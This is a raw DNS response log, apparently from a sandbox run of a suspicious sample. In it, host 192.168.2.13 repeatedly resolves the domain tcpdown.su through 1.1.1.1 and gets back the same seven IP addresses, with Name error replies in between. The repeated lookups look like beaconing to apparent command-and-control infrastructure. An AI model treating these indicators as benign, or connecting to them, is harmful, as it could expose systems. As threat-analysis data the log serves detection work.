Jan 7, 2025 01:23:55.261405945 CET	1.1.1.1	192.168.2.13	0x6a53	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:55.270294905 CET	1.1.1.1	192.168.2.13	0x6a53	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:55.278469086 CET	1.1.1.1	192.168.2.13	0x6a53	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:56.815692902 CET	1.1.1.1	192.168.2.13	0x70bd	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:56.815692902 CET	1.1.1.1	192.168.2.13	0x70bd	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:56.815692902 CET	1.1.1.1	192.168.2.13	0x70bd	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:56.815692902 CET	1.1.1.1	192.168.2.13	0x70bd	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:56.815692902 CET	1.1.1.1	192.168.2.13	0x70bd	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:56.815692902 CET	1.1.1.1	192.168.2.13	0x70bd	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:56.815692902 CET	1.1.1.1	192.168.2.13	0x70bd	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:56.825232983 CET	1.1.1.1	192.168.2.13	0xb090	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:56.845788956 CET	1.1.1.1	192.168.2.13	0xb090	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:56.853724957 CET	1.1.1.1	192.168.2.13	0xb090	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:56.862092972 CET	1.1.1.1	192.168.2.13	0xb090	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:56.869844913 CET	1.1.1.1	192.168.2.13	0xb090	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:58.748373985 CET	1.1.1.1	192.168.2.13	0xc7f6	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:58.748373985 CET	1.1.1.1	192.168.2.13	0xc7f6	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:58.748373985 CET	1.1.1.1	192.168.2.13	0xc7f6	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:58.748373985 CET	1.1.1.1	192.168.2.13	0xc7f6	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:58.748373985 CET	1.1.1.1	192.168.2.13	0xc7f6	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:58.748373985 CET	1.1.1.1	192.168.2.13	0xc7f6	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:58.748373985 CET	1.1.1.1	192.168.2.13	0xc7f6	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:58.767720938 CET	1.1.1.1	192.168.2.13	0xac7f	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:58.775922060 CET	1.1.1.1	192.168.2.13	0xac7f	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:58.785193920 CET	1.1.1.1	192.168.2.13	0xac7f	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:58.792845964 CET	1.1.1.1	192.168.2.13	0xac7f	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:58.800731897 CET	1.1.1.1	192.168.2.13	0xac7f	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:00.680991888 CET	1.1.1.1	192.168.2.13	0x6b02	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:00.680991888 CET	1.1.1.1	192.168.2.13	0x6b02	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:00.680991888 CET	1.1.1.1	192.168.2.13	0x6b02	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:00.680991888 CET	1.1.1.1	192.168.2.13	0x6b02	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:00.680991888 CET	1.1.1.1	192.168.2.13	0x6b02	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:00.680991888 CET	1.1.1.1	192.168.2.13	0x6b02	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:00.680991888 CET	1.1.1.1	192.168.2.13	0x6b02	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:00.689897060 CET	1.1.1.1	192.168.2.13	0xb6af	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:00.697896004 CET	1.1.1.1	192.168.2.13	0xb6af	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:00.717642069 CET	1.1.1.1	192.168.2.13	0xb6af	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:00.725486994 CET	1.1.1.1	192.168.2.13	0xb6af	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:00.739551067 CET	1.1.1.1	192.168.2.13	0xb6af	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:02.612231970 CET	1.1.1.1	192.168.2.13	0x2702	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:02.612231970 CET	1.1.1.1	192.168.2.13	0x2702	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:02.612231970 CET	1.1.1.1	192.168.2.13	0x2702	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:02.612231970 CET	1.1.1.1	192.168.2.13	0x2702	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:02.612231970 CET	1.1.1.1	192.168.2.13	0x2702	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:02.612231970 CET	1.1.1.1	192.168.2.13	0x2702	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:02.612231970 CET	1.1.1.1	192.168.2.13	0x2702	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:02.627567053 CET	1.1.1.1	192.168.2.13	0x6b8b	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:02.635282993 CET	1.1.1.1	192.168.2.13	0x6b8b	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:02.642788887 CET	1.1.1.1	192.168.2.13	0x6b8b	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:02.658062935 CET	1.1.1.1	192.168.2.13	0x6b8b	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:02.667380095 CET	1.1.1.1	192.168.2.13	0x6b8b	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:04.521246910 CET	1.1.1.1	192.168.2.13	0xfe69	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:04.521246910 CET	1.1.1.1	192.168.2.13	0xfe69	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:04.521246910 CET	1.1.1.1	192.168.2.13	0xfe69	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:04.521246910 CET	1.1.1.1	192.168.2.13	0xfe69	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:04.521246910 CET	1.1.1.1	192.168.2.13	0xfe69	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:04.521246910 CET	1.1.1.1	192.168.2.13	0xfe69	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:04.521246910 CET	1.1.1.1	192.168.2.13	0xfe69	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:04.529026031 CET	1.1.1.1	192.168.2.13	0x1507	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:04.537306070 CET	1.1.1.1	192.168.2.13	0x1507	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:04.545141935 CET	1.1.1.1	192.168.2.13	0x1507	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:04.553772926 CET	1.1.1.1	192.168.2.13	0x1507	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:04.568223000 CET	1.1.1.1	192.168.2.13	0x1507	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:06.238006115 CET	1.1.1.1	192.168.2.13	0x3ee5	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:06.238006115 CET	1.1.1.1	192.168.2.13	0x3ee5	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:06.238006115 CET	1.1.1.1	192.168.2.13	0x3ee5	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:06.238006115 CET	1.1.1.1	192.168.2.13	0x3ee5	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:06.238006115 CET	1.1.1.1	192.168.2.13	0x3ee5	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:06.238006115 CET	1.1.1.1	192.168.2.13	0x3ee5	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:06.238006115 CET	1.1.1.1	192.168.2.13	0x3ee5	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:06.246206045 CET	1.1.1.1	192.168.2.13	0xc476	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:06.254563093 CET	1.1.1.1	192.168.2.13	0xc476	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:06.269644976 CET	1.1.1.1	192.168.2.13	0xc476	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:06.277549028 CET	1.1.1.1	192.168.2.13	0xc476	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:06.286429882 CET	1.1.1.1	192.168.2.13	0xc476	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:08.145319939 CET	1.1.1.1	192.168.2.13	0x6725	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:08.145319939 CET	1.1.1.1	192.168.2.13	0x6725	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:08.145319939 CET	1.1.1.1	192.168.2.13	0x6725	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:08.145319939 CET	1.1.1.1	192.168.2.13	0x6725	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:08.145319939 CET	1.1.1.1	192.168.2.13	0x6725	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:08.145319939 CET	1.1.1.1	192.168.2.13	0x6725	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:08.145319939 CET	1.1.1.1	192.168.2.13	0x6725	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:08.153460979 CET	1.1.1.1	192.168.2.13	0xc573	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:08.162370920 CET	1.1.1.1	192.168.2.13	0xc573	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:08.171447039 CET	1.1.1.1	192.168.2.13	0xc573	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:08.180195093 CET	1.1.1.1	192.168.2.13	0xc573	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:08.188055992 CET	1.1.1.1	192.168.2.13	0xc573	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:09.856106043 CET	1.1.1.1	192.168.2.13	0xfe76	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:09.856106043 CET	1.1.1.1	192.168.2.13	0xfe76	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:09.856106043 CET	1.1.1.1	192.168.2.13	0xfe76	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:09.856106043 CET	1.1.1.1	192.168.2.13	0xfe76	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:09.856106043 CET	1.1.1.1	192.168.2.13	0xfe76	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:09.856106043 CET	1.1.1.1	192.168.2.13	0xfe76	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:09.856106043 CET	1.1.1.1	192.168.2.13	0xfe76	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:09.864461899 CET	1.1.1.1	192.168.2.13	0x8232	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:09.871886015 CET	1.1.1.1	192.168.2.13	0x8232	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:09.879782915 CET	1.1.1.1	192.168.2.13	0x8232	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:09.887389898 CET	1.1.1.1	192.168.2.13	0x8232	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:09.895629883 CET	1.1.1.1	192.168.2.13	0x8232	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:11.479547977 CET	1.1.1.1	192.168.2.13	0x6a09	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:11.479547977 CET	1.1.1.1	192.168.2.13	0x6a09	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:11.479547977 CET	1.1.1.1	192.168.2.13	0x6a09	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:11.479547977 CET	1.1.1.1	192.168.2.13	0x6a09	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:11.479547977 CET	1.1.1.1	192.168.2.13	0x6a09	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:11.479547977 CET	1.1.1.1	192.168.2.13	0x6a09	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:11.479547977 CET	1.1.1.1	192.168.2.13	0x6a09	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:11.499512911 CET	1.1.1.1	192.168.2.13	0x1c41	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:11.506922960 CET	1.1.1.1	192.168.2.13	0x1c41	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:11.522254944 CET	1.1.1.1	192.168.2.13	0x1c41	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:11.529944897 CET	1.1.1.1	192.168.2.13	0x1c41	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:11.545696974 CET	1.1.1.1	192.168.2.13	0x1c41	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:13.401426077 CET	1.1.1.1	192.168.2.13	0x44a5	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:13.401426077 CET	1.1.1.1	192.168.2.13	0x44a5	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:13.401426077 CET	1.1.1.1	192.168.2.13	0x44a5	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:13.401426077 CET	1.1.1.1	192.168.2.13	0x44a5	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:13.401426077 CET	1.1.1.1	192.168.2.13	0x44a5	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:13.401426077 CET	1.1.1.1	192.168.2.13	0x44a5	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:13.401426077 CET	1.1.1.1	192.168.2.13	0x44a5	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:13.409249067 CET	1.1.1.1	192.168.2.13	0x5dd6	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:13.416927099 CET	1.1.1.1	192.168.2.13	0x5dd6	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:13.424904108 CET	1.1.1.1	192.168.2.13	0x5dd6	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:13.433113098 CET	1.1.1.1	192.168.2.13	0x5dd6	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:13.440846920 CET	1.1.1.1	192.168.2.13	0x5dd6	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:15.553769112 CET	1.1.1.1	192.168.2.13	0xdc1e	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:15.553769112 CET	1.1.1.1	192.168.2.13	0xdc1e	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:15.553769112 CET	1.1.1.1	192.168.2.13	0xdc1e	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:15.553769112 CET	1.1.1.1	192.168.2.13	0xdc1e	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:15.553769112 CET	1.1.1.1	192.168.2.13	0xdc1e	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:15.553769112 CET	1.1.1.1	192.168.2.13	0xdc1e	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:15.553769112 CET	1.1.1.1	192.168.2.13	0xdc1e	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:15.561434984 CET	1.1.1.1	192.168.2.13	0xc4a9	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:15.569351912 CET	1.1.1.1	192.168.2.13	0xc4a9	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:15.577351093 CET	1.1.1.1	192.168.2.13	0xc4a9	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:15.586231947 CET	1.1.1.1	192.168.2.13	0xc4a9	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:15.594211102 CET	1.1.1.1	192.168.2.13	0xc4a9	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:17.479556084 CET	1.1.1.1	192.168.2.13	0xb390	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:17.479556084 CET	1.1.1.1	192.168.2.13	0xb390	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:17.479556084 CET	1.1.1.1	192.168.2.13	0xb390	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:17.479556084 CET	1.1.1.1	192.168.2.13	0xb390	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:17.479556084 CET	1.1.1.1	192.168.2.13	0xb390	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:17.479556084 CET	1.1.1.1	192.168.2.13	0xb390	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:17.479556084 CET	1.1.1.1	192.168.2.13	0xb390	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:17.487415075 CET	1.1.1.1	192.168.2.13	0xeda7	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:17.495466948 CET	1.1.1.1	192.168.2.13	0xeda7	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:17.503047943 CET	1.1.1.1	192.168.2.13	0xeda7	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:17.510885954 CET	1.1.1.1	192.168.2.13	0xeda7	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:17.521155119 CET	1.1.1.1	192.168.2.13	0xeda7	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:19.194756985 CET	1.1.1.1	192.168.2.13	0xcd3f	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:19.194756985 CET	1.1.1.1	192.168.2.13	0xcd3f	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:19.194756985 CET	1.1.1.1	192.168.2.13	0xcd3f	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:19.194756985 CET	1.1.1.1	192.168.2.13	0xcd3f	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:19.194756985 CET	1.1.1.1	192.168.2.13	0xcd3f	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:19.194756985 CET	1.1.1.1	192.168.2.13	0xcd3f	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:19.194756985 CET	1.1.1.1	192.168.2.13	0xcd3f	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:19.203795910 CET	1.1.1.1	192.168.2.13	0xb6ac	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:19.211591959 CET	1.1.1.1	192.168.2.13	0xb6ac	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:19.219537020 CET	1.1.1.1	192.168.2.13	0xb6ac	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:19.227475882 CET	1.1.1.1	192.168.2.13	0xb6ac	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:19.234977007 CET	1.1.1.1	192.168.2.13	0xb6ac	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:20.788033009 CET	1.1.1.1	192.168.2.13	0x7e88	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:20.788033009 CET	1.1.1.1	192.168.2.13	0x7e88	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:20.788033009 CET	1.1.1.1	192.168.2.13	0x7e88	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:20.788033009 CET	1.1.1.1	192.168.2.13	0x7e88	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:20.788033009 CET	1.1.1.1	192.168.2.13	0x7e88	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:20.788033009 CET	1.1.1.1	192.168.2.13	0x7e88	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:20.788033009 CET	1.1.1.1	192.168.2.13	0x7e88	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:20.795995951 CET	1.1.1.1	192.168.2.13	0xc8af	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:20.803760052 CET	1.1.1.1	192.168.2.13	0xc8af	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:20.811881065 CET	1.1.1.1	192.168.2.13	0xc8af	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:20.826936007 CET	1.1.1.1	192.168.2.13	0xc8af	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:20.834821939 CET	1.1.1.1	192.168.2.13	0xc8af	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:22.710397959 CET	1.1.1.1	192.168.2.13	0xded1	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:22.710397959 CET	1.1.1.1	192.168.2.13	0xded1	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:22.710397959 CET	1.1.1.1	192.168.2.13	0xded1	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:22.710397959 CET	1.1.1.1	192.168.2.13	0xded1	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:22.710397959 CET	1.1.1.1	192.168.2.13	0xded1	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:22.710397959 CET	1.1.1.1	192.168.2.13	0xded1	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:22.710397959 CET	1.1.1.1	192.168.2.13	0xded1	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:22.718779087 CET	1.1.1.1	192.168.2.13	0x5e2c	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
